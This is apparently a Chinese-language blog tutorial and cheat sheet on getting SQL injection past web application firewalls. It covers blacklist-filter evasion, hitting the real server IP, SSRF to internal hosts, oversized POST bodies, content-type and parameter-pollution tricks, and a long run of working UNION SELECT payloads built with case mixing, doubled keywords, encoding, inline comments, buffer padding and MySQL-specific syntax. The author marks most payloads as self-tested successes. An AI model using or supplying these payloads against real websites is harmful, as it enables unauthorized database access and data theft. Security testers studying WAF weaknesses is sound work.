繞過waf分類:
白盒繞過:
針對代碼審計,有的waf采用代碼的方式,編寫過濾函數,如下blacklist()函數所示:
1 ........ 2 3 $id=$_GET['id']; 4 5 $id=blacklist($id); 6 7 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; 8 9 $result=mysql_query($sql); 10 11 $row=mysql_fetch_array($result); 12 13 .........
1 function blacklist($id){ 2
3 $id=preg_replace('/or/i',"",$id);//過濾or
4
5 $id=preg_replace('/AND/i',"",$id);//過濾AND
6
7 return $id; 8 }
策略:
(1)大小寫變形,這里也許無法成功,因為函數使用了正則匹配,/or/i ;因此可以考慮重復,比如使用:OorR,就算過濾了一個or,仍然還剩一個OR
(2)等價替換,將and——>&& or——>||
黑盒繞過:
(一)架構層繞WAF
(1)用戶本身是進入waf后訪問web頁面的,只要我們找到web的真實IP,繞過waf就不在話下了。
(2)在同網段內,頁面與頁面之間,服務器與服務器之間,通過waf的保護,然后展示給我們,只要我們在內部服務之間進行訪問,即可繞過waf
(3)邊界漏洞,同樣類似於同網段數據,我們可以利用已知服務器存在的ssrf漏洞,將數據直接發送給同網段的web2進行SQL注入
(二)資源限制角度繞WAF
有的時候,由於數據太大,會導致waf無法將所有的數據都檢測完,這個時候會忽略掉我們代入的sql注入語句,從而繞過waf,即:使用POST請求,對服務器請求很大資源逃逸sql注入語句。
(三)協議層面繞過WAF
(1)基於協議層,有的waf只過濾GET請求,而對POST請求沒做別的限制,因此,可以將GET型換為POST型
(2)文件格式,頁面僅對Content-Type為application/x-www-form-urlencoded數據格式進行過濾,因此我們只要將Content-Type格式修改為multipart/form-data,即可繞過waf
(3)參數污染:有的waf僅對部分內容進行過濾,例如:
index.php?id=1&id=2
這樣的參數id=1,waf也許僅對前部分的id=1進行檢測,而后面的參數並不做處理。這樣我們就可以在id=2的后面寫入sql注入語句進行sql注入
(四)規則層面繞過
(1)首先使用比較特殊的方法進行繞過:
可以在注入點,測試waf到底攔截的哪一部分的數據,如果是空格,可以嘗試:/*%!%2f*/
如果是對sql的函數進行了過濾,可以嘗試:XX() ——> XX/*%!%2f*/()
(2)以下為常見的規則替換,部分姿勢:
以下為總結方式:
(3)大小寫
select * from users where id='1' uNioN SeleCt 1,2,3;
(4)替換關鍵字(關鍵字重復)
select * from users where id=1 ununionion selselectect 1,2,3;
(5)編碼
select * from users where id=1 union%0Aselect%0A1,2,3;//自測成功,但%2b不成功
select * from users where id=1 %75nion select 1,2,3;//自測成功,繼續加油
(6)內聯注釋
select * from users where id=1 union/**/select/**/1,2,3;//自測成功,繼續加油
(7)等價函數替換
version()——> @@version
mid :mysql從第五位字符串開始截取,直到最后
從第三個字符串開始截取,截取三位
substr :oracle、mysql、sqlserver
從第三個字符串開始截取,直到最后
從第二個字符串開始截取,截取五個字符
substring :mysql、sqlserver
從第三個字符串開始截取,直到最后@@datadir ——> datadir()
select * from users where id=1 union select (mid(user(),5,3)),2,3;//自測成功,繼續加油
(8)特殊符號
+ # ——>%23(#) --+(注釋符) \\\\ `(上引號) @
select * from users where id=1 union+select+1,2,3;//自測成功,繼續加油
(9)內聯注釋加!
select * from users where id=1 /*!union*/select 1,2,3;//自測成功,繼續加油
(10)緩沖區溢出
select * from users where id=1 and (select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version();//自測成功,繼續加油
0xA*1000 指的是0XA后面的 "A" 重復1000次
一般來說對應用軟件構成緩沖區溢出都需要比較大的測試長度
這里1000僅供參考,在一些情況下也可以更短
(11)mysql特性繞過
1.= 等於
:= 賦值
@ @+變量名可直接調用
select * from users where id=1 union select @test=user(),2,3;//1
select * from users where id=1 union select @test:=user(),2,3;//自測可用,繼續加油,root
select * from users where id=1 union select @,2,3;//NULL
(12)黑魔法
{x user} {x mysql.user}
select{x user}from{x mysql.user};//自測成功,繼續加油,root